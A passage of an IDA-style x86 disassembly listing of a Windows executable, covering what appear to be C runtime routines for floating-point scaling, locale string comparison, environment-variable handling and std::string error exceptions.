loc_41A555 ; --------------------------------------------------------------------------- loc_41A552: ; CODE XREF: sub_41A379+1ABj inc [ebp+var_24+2] loc_41A555: ; CODE XREF: sub_41A379+1A5j ; sub_41A379+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41A579 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41A573: ; CODE XREF: sub_41A379+86j mov [esi+0Ah], ax jmp short loc_41A594 ; --------------------------------------------------------------------------- loc_41A579: ; CODE XREF: sub_41A379+42j ; sub_41A379+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41A594: ; CODE XREF: sub_41A379+ABj ; sub_41A379+1FEj pop edi pop esi pop ebx leave retn sub_41A379 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A599 proc near ; CODE XREF: sub_4198E0+440p ; sub_419DB1+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_42EC60 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41A612 jge short loc_41A5C1 mov eax, [ebp+arg_4] mov ebx, offset dword_42EDC0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41A5C1: ; CODE XREF: sub_41A599+16j cmp [ebp+arg_8], ecx jnz short loc_41A5CC mov eax, [ebp+arg_0] mov [eax], cx loc_41A5CC: ; CODE XREF: sub_41A599+2Bj cmp [ebp+arg_4], ecx jz short loc_41A612 push esi push edi loc_41A5D3: ; CODE XREF: sub_41A599+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41A60B lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41A5FE lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41A5FE: ; CODE XREF: sub_41A599+57j push esi push [ebp+arg_0] call sub_41A379 pop ecx pop ecx xor ecx, ecx loc_41A60B: ; CODE XREF: sub_41A599+49j cmp [ebp+arg_4], ecx jnz short loc_41A5D3 pop edi pop esi loc_41A612: ; CODE XREF: sub_41A599+14j ; sub_41A599+36j pop ebx leave retn sub_41A599 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A615 proc near ; CODE XREF: sub_41A1B6+5Ep ; sub_41AB3C+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41A622 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41A622: ; CODE XREF: sub_41A615+7j push ds:dword_460C64 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push ds:dword_460E84 call loc_41A738 add esp, 1Ch test eax, eax jnz short loc_41A64F mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A64F: ; CODE XREF: sub_41A615+31j add eax, 0FFFFFFFEh pop ebp retn sub_41A615 endp ; =============== S U B R O U T I N E ======================================= sub_41A654 proc near ; CODE XREF: sub_41A1B6+1Ep ; sub_41A9B5+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, ds:dword_45F874 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41A6B5 mov ebx, ds:dword_41C11C loc_41A66D: ; CODE XREF: sub_41A654+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_41A6BD push ebp call sub_410C0F cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41A6BD push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_41A6BD push edi push [esp+18h+var_4] call sub_41A9B5 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41A66D loc_41A6B5: ; CODE XREF: sub_41A654+11j xor eax, eax loc_41A6B7: ; CODE XREF: sub_41A654+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41A6BD: ; CODE XREF: sub_41A654+29j ; sub_41A654+38j ... or eax, 0FFFFFFFFh jmp short loc_41A6B7 sub_41A654 endp ; =============== S U B R O U T I N E ======================================= sub_41A6C2 proc near ; CODE XREF: seg000:0041A2BEp ; seg000:0041A30Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_460C60 jnb short loc_41A729 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_460B60[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41A729 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41A702 and cl, 7Fh jmp short loc_41A70F ; --------------------------------------------------------------------------- loc_41A702: ; CODE XREF: sub_41A6C2+39j cmp [esp+4+arg_4], 4000h jnz short loc_41A71D or cl, 80h loc_41A70F: ; CODE XREF: sub_41A6C2+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41A71D: ; CODE XREF: sub_41A6C2+48j mov ds:dword_45F844, 16h jmp short loc_41A733 ; --------------------------------------------------------------------------- loc_41A729: ; CODE XREF: sub_41A6C2+Bj ; sub_41A6C2+27j mov ds:dword_45F844, 9 loc_41A733: ; CODE XREF: sub_41A6C2+65j or eax, 0FFFFFFFFh pop esi retn sub_41A6C2 endp ; --------------------------------------------------------------------------- loc_41A738: ; CODE XREF: sub_41A615+27p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41CC00 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp-18h], esp xor ebx, ebx cmp ds:dword_45FB2C, ebx push 1 pop edi jnz short loc_41A7AB push edi mov eax, offset dword_41C850 push eax push edi push eax push ebx push ebx call ds:dword_41C008 ; CompareStringW test eax, eax jz short loc_41A788 mov ds:dword_45FB2C, edi jmp short loc_41A7AB ; --------------------------------------------------------------------------- loc_41A788: ; CODE XREF: seg000:0041A77Ej push edi mov eax, offset dword_42F3E4 push eax push edi push eax push ebx push ebx call ds:dword_41C00C ; CompareStringA test eax, eax jz loc_41A9A1 mov ds:dword_45FB2C, 2 loc_41A7AB: ; CODE XREF: seg000:0041A769j ; seg000:0041A786j mov esi, [ebp+14h] cmp esi, ebx jle short loc_41A7C2 push esi push dword ptr [ebp+10h] call sub_416DB8 pop ecx pop ecx mov esi, eax mov [ebp+14h], esi loc_41A7C2: ; CODE XREF: seg000:0041A7B0j cmp [ebp+1Ch], ebx jle short loc_41A7D7 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] call sub_416DB8 ; CODE XREF: seg000:0041A847j pop ecx pop ecx mov [ebp+1Ch], eax loc_41A7D7: ; CODE XREF: seg000:0041A7C5j mov eax, ds:dword_45FB2C cmp eax, 2 jnz short loc_41A7FC push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41C00C ; CompareStringA jmp loc_41A9A3 ; --------------------------------------------------------------------------- loc_41A7FC: ; CODE XREF: seg000:0041A7DFj cmp eax, edi jnz loc_41A9A1 cmp [ebp+20h], ebx jnz short loc_41A811 mov eax, ds:dword_45F8E0 mov [ebp+20h], eax loc_41A811: ; CODE XREF: seg000:0041A807j cmp esi, ebx jz short loc_41A81E cmp [ebp+1Ch], ebx jnz loc_41A8B6 loc_41A81E: ; CODE XREF: seg000:0041A813j cmp esi, [ebp+1Ch] jnz short loc_41A82B loc_41A823: ; CODE XREF: seg000:0041A874j ; seg000:0041A8A5j push 2 loc_41A825: ; CODE XREF: seg000:0041A87Ej pop eax jmp loc_41A9A3 ; --------------------------------------------------------------------------- loc_41A82B: ; CODE XREF: seg000:0041A821j cmp [ebp+1Ch], edi jle short loc_41A837 loc_41A830: ; CODE XREF: seg000:0041A889j ; seg000:0041A891j ... mov eax, edi jmp loc_41A9A3 ; --------------------------------------------------------------------------- loc_41A837: ; CODE XREF: seg000:0041A82Ej cmp esi, edi jg short loc_41A87C lea eax, [ebp-3Ch] push eax push dword ptr [ebp+20h] call near ptr 3D0000h jl short near ptr loc_41A7CD+1 ror byte ptr [edi], 84h push ecx add [eax], eax add [ebx], bh rep jle short loc_41A880 cmp dword ptr [ebp-3Ch], 2 jb short loc_41A87C lea eax, [ebp-36h] cmp [ebp-36h], bl jz short loc_41A87C loc_41A862: ; CODE XREF: seg000:0041A87Aj mov dl, [eax+1] cmp dl, bl jz short loc_41A87C mov ecx, [ebp+10h] mov cl, [ecx] cmp cl, [eax] jb short loc_41A876 cmp cl, dl jbe short loc_41A823 loc_41A876: ; CODE XREF: seg000:0041A870j inc eax inc eax cmp [eax], bl jnz short loc_41A862 loc_41A87C: ; CODE XREF: seg000:0041A839j ; seg000:0041A858j ... push 3 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A880: ; CODE XREF: seg000:0041A851j cmp [ebp+1Ch], ebx jle short loc_41A8B6 cmp dword ptr [ebp-3Ch], 2 jb short loc_41A830 lea eax, [ebp-36h] cmp [ebp-36h], bl jz short loc_41A830 loc_41A893: ; CODE XREF: seg000:0041A8AFj mov dl, [eax+1] cmp dl, bl jz short loc_41A830 mov ecx, [ebp+18h] mov cl, [ecx] cmp cl, [eax] jb short loc_41A8AB cmp cl, dl jbe loc_41A823 loc_41A8AB: ; CODE XREF: seg000:0041A8A1j inc eax inc eax cmp [eax], bl jnz short loc_41A893 jmp loc_41A830 ; --------------------------------------------------------------------------- loc_41A8B6: ; CODE XREF: seg000:0041A818j ; seg000:0041A883j push ebx push ebx push esi push dword ptr [ebp+10h] push 9 push dword ptr [ebp+20h] call ds:dword_41C120 ; MultiByteToWideChar mov [ebp-1Ch], eax cmp eax, ebx jz loc_41A9A1 mov [ebp-4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_410BE0 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_41A905 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx mov [ebp-24h], ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp+14h] push 1 pop edi loc_41A905: ; CODE XREF: seg000:0041A8EDj cmp [ebp-24h], ebx jz loc_41A9A1 push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push esi push dword ptr [ebp+10h] push edi push dword ptr [ebp+20h] mov esi, ds:dword_41C120 call esi ; MultiByteToWideChar test eax, eax jz short loc_41A9A1 push ebx push ebx push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push 9 push dword ptr [ebp+20h] call esi ; MultiByteToWideChar mov esi, eax mov [ebp-20h], esi cmp esi, ebx jz short loc_41A9A1 mov [ebp-4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_410BE0 mov [ebp-18h], esp mov edi, esp mov [ebp-28h], edi or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_41A970 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx xor edi, edi or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-20h] loc_41A970: ; CODE XREF: seg000:0041A95Cj cmp edi, ebx jz short loc_41A9A1 push esi push edi push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push 1 push dword ptr [ebp+20h] call ds:dword_41C120 ; MultiByteToWideChar test eax, eax jz short loc_41A9A1 push esi push edi push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41C008 ; CompareStringW jmp short loc_41A9A3 ; --------------------------------------------------------------------------- loc_41A9A1: ; CODE XREF: seg000:0041A79Bj ; seg000:0041A7FEj ... xor eax, eax loc_41A9A3: ; CODE XREF: seg000:0041A7F7j ; seg000:0041A826j ... lea esp, [ebp-4Ch] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9B5 proc near ; CODE XREF: sub_41A654+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41AA19 push 3Dh push [ebp+arg_0] call sub_41ABFB mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41AA19 cmp [ebp+arg_0], esi jz short loc_41AA19 mov eax, ds:dword_45F86C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, ds:dword_45F870 jnz short loc_41A9FF push eax call sub_41AB94 pop ecx mov ds:dword_45F86C, eax loc_41A9FF: ; CODE XREF: sub_41A9B5+3Cj cmp eax, edi jnz short loc_41AA57 cmp [ebp+arg_4], edi jz short loc_41AA21 cmp ds:dword_45F874, edi jz short loc_41AA21 call sub_41A654 test eax, eax jz short loc_41AA57 loc_41AA19: ; CODE XREF: sub_41A9B5+Dj ; sub_41A9B5+22j ... or eax, 0FFFFFFFFh loc_41AA1C: ; CODE XREF: sub_41A9B5+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AA21: ; CODE XREF: sub_41A9B5+51j ; sub_41A9B5+59j cmp ebx, edi jnz loc_41AB35 push 4 call sub_410C0F cmp eax, edi pop ecx mov ds:dword_45F86C, eax jz short loc_41AA19 mov [eax], edi cmp ds:dword_45F874, edi jnz short loc_41AA57 push 4 call sub_410C0F cmp eax, edi pop ecx mov ds:dword_45F874, eax jz short loc_41AA19 mov [eax], edi loc_41AA57: ; CODE XREF: sub_41A9B5+4Cj ; sub_41A9B5+62j ... sub esi, [ebp+arg_0] mov edi, ds:dword_45F86C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_41AB3C mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41AAB7 cmp dword ptr [edi], 0 jz short loc_41AAB7 test ebx, ebx jz short loc_41AAAF push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_410C83 pop ecx loc_41AA89: ; CODE XREF: sub_41A9B5+E2j cmp dword ptr [edi], 0 jz short loc_41AA99 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41AA89 ; --------------------------------------------------------------------------- loc_41AA99: ; CODE XREF: sub_41A9B5+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41237F pop ecx test eax, eax pop ecx jz short loc_41AAE9 jmp short loc_41AAE4 ; --------------------------------------------------------------------------- loc_41AAAF: ; CODE XREF: sub_41A9B5+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41AAE9 ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41A9B5+BDj ; sub_41A9B5+C2j test ebx, ebx jnz short loc_41AB35 test esi, esi jge short loc_41AAC1 neg esi loc_41AAC1: ; CODE XREF: sub_41A9B5+108j lea eax, ds:8[esi*4] push eax push edi call sub_41237F pop ecx test eax, eax pop ecx jz loc_41AA19 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_41AAE4: ; CODE XREF: sub_41A9B5+F8j mov ds:dword_45F86C, eax loc_41AAE9: ; CODE XREF: sub_41A9B5+F6j ; sub_41A9B5+100j cmp [ebp+arg_4], 0 jz short loc_41AB35 push [ebp+arg_0] call sub_410B60 inc eax inc eax push eax call sub_410C0F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41AB35 push [ebp+arg_0] push esi call sub_411B70 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 3D0000h pop ss push esi call sub_410C83 pop ecx loc_41AB35: ; CODE XREF: sub_41A9B5+6Ej ; sub_41A9B5+104j ... xor eax, eax jmp loc_41AA1C sub_41A9B5 endp ; =============== S U B R O U T I N E ======================================= sub_41AB3C proc near ; CODE XREF: sub_41A9B5+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ds:dword_45F86C push edi mov eax, [esi] test eax, eax jz short loc_41AB77 mov edi, [esp+8+arg_4] loc_41AB4E: ; CODE XREF: sub_41AB3C+39j push edi push eax push [esp+10h+arg_0] call sub_41A615 add esp, 0Ch test eax, eax jnz short loc_41AB6D mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41AB87 test al, al jz short loc_41AB87 loc_41AB6D: ; CODE XREF: sub_41AB3C+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41AB4E loc_41AB77: ; CODE XREF: sub_41AB3C+Cj mov eax, esi sub eax, ds:dword_45F86C sar eax, 2 neg eax loc_41AB84: ; CODE XREF: sub_41AB3C+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41AB87: ; CODE XREF: sub_41AB3C+2Bj ; sub_41AB3C+2Fj mov eax, esi sub eax, ds:dword_45F86C sar eax, 2 jmp short loc_41AB84 sub_41AB3C endp ; =============== S U B R O U T I N E ======================================= sub_41AB94 proc near ; CODE XREF: sub_41A9B5+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41ABA3 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41ABA3: ; CODE XREF: sub_41AB94+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41ABB5 loc_41ABAB: ; CODE XREF: sub_41AB94+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41ABAB loc_41ABB5: ; CODE XREF: sub_41AB94+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_410C0F mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41ABD6 push 9 call sub_412ADE pop ecx loc_41ABD6: ; CODE XREF: sub_41AB94+38j mov eax, [edi] mov ebx, edi loc_41ABDA: ; CODE XREF: sub_41AB94+5Bj test eax, eax jz short loc_41ABF1 push eax add ebx, 4 call sub_41AC6E mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41ABDA ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: sub_41AB94+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41AB94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_41A9B5+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp ds:dword_460C7C, 0 jnz short loc_41AC16 push [ebp+arg_4] push [ebp+arg_0] call sub_412760 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41AC16: ; CODE XREF: sub_41ABFB+Aj mov ecx, [ebp+arg_0] loc_41AC19: ; CODE XREF: sub_41ABFB+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41AC5C movzx edx, al test ds:byte_460D81[edx], 4 jz short loc_41AC48 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41AC53 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41AC57 jmp short loc_41AC50 ; --------------------------------------------------------------------------- loc_41AC48: ; CODE XREF: sub_41ABFB+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41AC5C loc_41AC50: ; CODE XREF: sub_41ABFB+4Bj inc ecx jmp short loc_41AC19 ; --------------------------------------------------------------------------- loc_41AC53: ; CODE XREF: sub_41ABFB+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41AC57: ; CODE XREF: sub_41ABFB+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41AC5C: ; CODE XREF: sub_41ABFB+25j ; sub_41ABFB+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41AC6E proc near ; CODE XREF: sub_406C6E+21p ; sub_41AB94+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41AC95 push esi call sub_410B60 inc eax push eax call sub_410C0F pop ecx test eax, eax pop ecx jz short loc_41AC95 push esi push eax call sub_411B70 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41AC95: ; CODE XREF: sub_41AC6E+7j ; sub_41AC6E+1Aj xor eax, eax pop esi retn sub_41AC6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41ACA0 proc near ; CODE XREF: sub_402DA4+15p ; sub_402DFD+15p ... mov eax, offset loc_41B194 call sub_4112A0 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_402FA7 mov esi, offset aStringTooLong ; "string too long" push esi call sub_410B60 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_402FE3 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41ACFA lea eax, [ebp-3Ch] push offset dword_41CF60 push eax mov dword ptr [ebp-3Ch], offset off_41CC1C call sub_41B0FB pop esi sub_41ACA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41ACFA proc near ; CODE XREF: sub_41ACA0+3Fp ; sub_41AECC+3Fp mov eax, offset loc_41B1A8 call sub_4112A0 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_42F3E8 call sub_41B020 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_402FA7 push ds:dword_41C228 mov ecx, edi push 0 push ebx call sub_402E54 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41CC3C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41ACFA endp ; =============== S U B R O U T I N E ======================================= sub_41AD5E proc near ; DATA XREF: seg001:0041CC20o ; seg001:0041CC40o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41AD6A mov eax, offset dword_41C238 locret_41AD6A: ; CODE XREF: sub_41AD5E+5j retn sub_41AD5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD6B proc near ; DATA XREF: seg001:0041CC44o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41ADE1 lea eax, [ebp+var_1C] push offset dword_41CFD0 push eax call sub_41B0FB sub_41AD6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AD88 proc near ; CODE XREF: seg000:0041ADC8p ; DATA XREF: seg001:0041CFD4o mov eax, offset loc_41B1BC call sub_4112A0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41CC3C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402FA7 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41B0A7 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41AD88 endp ; --------------------------------------------------------------------------- loc_41ADC5: ; DATA XREF: seg001:off_41CC3Co push esi mov esi, ecx call sub_41AD88 test byte ptr [esp+8], 1 jz short loc_41ADDB push esi call sub_4112BF pop ecx loc_41ADDB: ; CODE XREF: seg000:0041ADD2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41ADE1 proc near ; CODE XREF: sub_41AD6B+Ap ; sub_41AEB4+7p ... mov eax, offset loc_41B1D0 call sub_4112A0 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_41B05D mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_402FA7 push ds:dword_41C228 mov ecx, edi push 0 push ebx call sub_402E54 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41CC3C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41ADE1 endp ; =============== S U B R O U T I N E ======================================= sub_41AE3E proc near ; CODE XREF: sub_41AE7B+20p ; DATA XREF: seg001:0041CF64o mov eax, offset loc_41B1E4 call sub_4112A0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41CC3C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402FA7 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41B0A7 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41AE3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE7B proc near ; DATA XREF: seg001:0041CC24o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41AEB4 lea eax, [ebp+var_1C] push offset dword_41CF60 push eax call sub_41B0FB loc_41AE98: ; DATA XREF: seg001:off_41CC1Co push esi mov esi, ecx call sub_41AE3E test [esp+20h+var_18], 1 jz short loc_41AEAE push esi call sub_4112BF pop ecx loc_41AEAE: ; CODE XREF: sub_41AE7B+2Aj mov eax, esi pop esi retn 4 sub_41AE7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AEB4 proc near ; CODE XREF: sub_41AE7B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41ADE1 mov dword ptr [esi], offset off_41CC1C mov eax, esi pop esi retn 4 sub_41AEB4 endp ; =============== S U B R O U T I N E ======================================= sub_41AECC proc near ; CODE XREF: sub_402E54+13p ; sub_403018+Ep mov eax, offset loc_41B1F8 call sub_4112A0 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_402FA7 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_410B60 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_402FE3 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41ACFA lea eax, [ebp-3Ch] push offset dword_41D088 push eax mov dword ptr [ebp-3Ch], offset off_41CC4C call sub_41B0FB pop esi sub_41AECC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AF26 proc near ; CODE XREF: sub_41AF63+20p ; DATA XREF: seg001:0041D08Co mov eax, offset loc_41B20C call sub_4112A0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41CC3C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402FA7 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41B0A7 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41AF26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF63 proc near ; DATA XREF: seg001:0041CC54o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41AF9C lea eax, [ebp+var_1C] push offset dword_41D088 push eax call sub_41B0FB loc_41AF80: ; DATA XREF: seg001:off_41CC4Co push esi mov esi, ecx call sub_41AF26 test [esp+20h+var_18], 1 jz short loc_41AF96 push esi call sub_4112BF pop ecx loc_41AF96: ; CODE XREF: sub_41AF63+2Aj mov eax, esi pop esi retn 4 sub_41AF63 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AF9C proc near ; CODE XREF: sub_41AF63+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41ADE1 mov dword ptr [esi], offset off_41CC4C mov eax, esi pop esi retn 4 sub_41AF9C endp ; =============== S U B R O U T I N E ======================================= sub_41AFB4 proc near ; DATA XREF: seg002:0041E008o ; FUNCTION CHUNK AT 0041AFEA SIZE 0000000C BYTES test ds:byte_45FB30, 1 jnz short loc_41AFC4 or ds:byte_45FB30, 1 loc_41AFC4: ; CODE XREF: sub_41AFB4+7j call sub_41AFDE test ds:byte_460EB8, 1 jnz short loc_41AFD9 or ds:byte_460EB8, 1 loc_41AFD9: ; CODE XREF: sub_41AFB4+1Cj jmp loc_41AFEA sub_41AFB4 endp ; =============== S U B R O U T I N E ======================================= sub_41AFDE proc near ; CODE XREF: sub_41AFB4:loc_41AFC4p push offset nullsub_1 call sub_411680 pop ecx retn sub_41AFDE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AFB4 loc_41AFEA: ; CODE XREF: sub_41AFB4:loc_41AFD9j push offset nullsub_1 call sub_411680 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_41AFB4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO 